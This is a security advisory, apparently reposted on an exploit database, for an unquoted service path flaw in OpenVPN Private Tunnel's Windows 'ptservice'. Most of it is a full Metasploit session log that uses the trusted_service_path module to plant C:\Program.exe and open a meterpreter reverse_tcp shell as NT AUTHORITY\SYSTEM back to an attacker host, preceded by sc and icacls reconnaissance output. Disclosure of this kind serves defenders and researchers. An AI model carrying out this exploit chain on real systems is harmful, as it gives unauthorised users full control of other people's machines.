OpenVPN Private Tunnel Core Service Unquoted Service Path Elevation Of Privilege Vendor: OpenVPN Technologies, Inc Product web page: http://www.openvpn.net Affected version: 2.1.28.0 (PrivateTunnel 2.3.8) Summary: Private Tunnel is a new approach to true Internet security creating a Virtual Private Tunnel (VPT) or Virtual Private Network (VPN) that encrypts, privatizes, and protects your Internet traffic. Desc: Private Tunnel application suffers from an unquoted search path issue impacting the Core Service 'ptservice' service for Windows deployed as part of PrivateTunnel bundle. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application. Tested on: Microsoft Windows 7 Professional SP1 (EN) Microsoft Windows XP Professional SP3 (EN) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2014-5192 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5192.php 07.07.2014 --- C:\Users\user>sc qc ptservice [SC] QueryServiceConfig SUCCESS SERVICE_NAME: ptservice TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\OpenVPN Technologies\PrivateTunnel\ptservice.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Private Tunnel Core Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\user>icacls "C:\Program Files (x86)\OpenVPN Technologies\PrivateTunnel\ptservice.exe" C:\Program Files (x86)\OpenVPN Technologies\PrivateTunnel\ptservice.exe NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) Successfully processed 1 files; Failed processing 0 files C:\Users\user> msfsession.txt msf exploit(trusted_service_path) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 USER-3B7A467EE8\Administrator @ USER-3B7A467EE8 192.168.0.105:4444 -> 192.168.0.101:1033 (192.168.0.101) msf exploit(trusted_service_path) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: USER-3B7A467EE8\Administrator meterpreter > background [*] Backgrounding session 1... msf exploit(trusted_service_path) > show options Module options (exploit/windows/local/trusted_service_path): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION 1 yes The session to run this module on. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 192.168.0.105 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows msf exploit(trusted_service_path) > set LPORT 5555 LPORT => 5555 msf exploit(trusted_service_path) > exploit [*] Started reverse handler on 192.168.0.105:5555 [*] Finding a vulnerable service... [*] Found vulnerable service: ptservice - C:\Program Files\OpenVPN Technologies\PrivateTunnel\ptservice.exe (LocalSystem) [*] Placing C:\Program.exe as ptservice [*] Writing 73802 bytes to C:\Program.exe... [*] Launching service ptservice... [*] Sending stage (770048 bytes) to 192.168.0.101 [*] Meterpreter session 2 opened (192.168.0.105:5555 -> 192.168.0.101:1037) at 2014-07-10 02:44:02 -0400 [*] Session ID 2 (192.168.0.105:5555 -> 192.168.0.101:1037) processing InitialAutoRunScript 'migrate -f' [*] Current server process: Program.exe (3088) [*] Spawning notepad.exe process to migrate to [+] Migrating to 2720 [+] Successfully migrated to process [*] Deleting C:\Program.exe meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > background [*] Backgrounding session 2... msf exploit(trusted_service_path) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 USER-3B7A467EE8\Administrator @ USER-3B7A467EE8 192.168.0.105:4444 -> 192.168.0.101:1033 (192.168.0.101) 2 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ USER-3B7A467EE8 192.168.0.105:5555 -> 192.168.0.101:1037 (192.168.0.101) msf exploit(trusted_service_path) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: USER-3B7A467EE8\Administrator meterpreter > background [*] Backgrounding session 1... msf exploit(trusted_service_path) > sessions -i 2 [*] Starting interaction with 2... meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > # Iranian Exploit DataBase = http://IeDb.Ir [2014-09-03]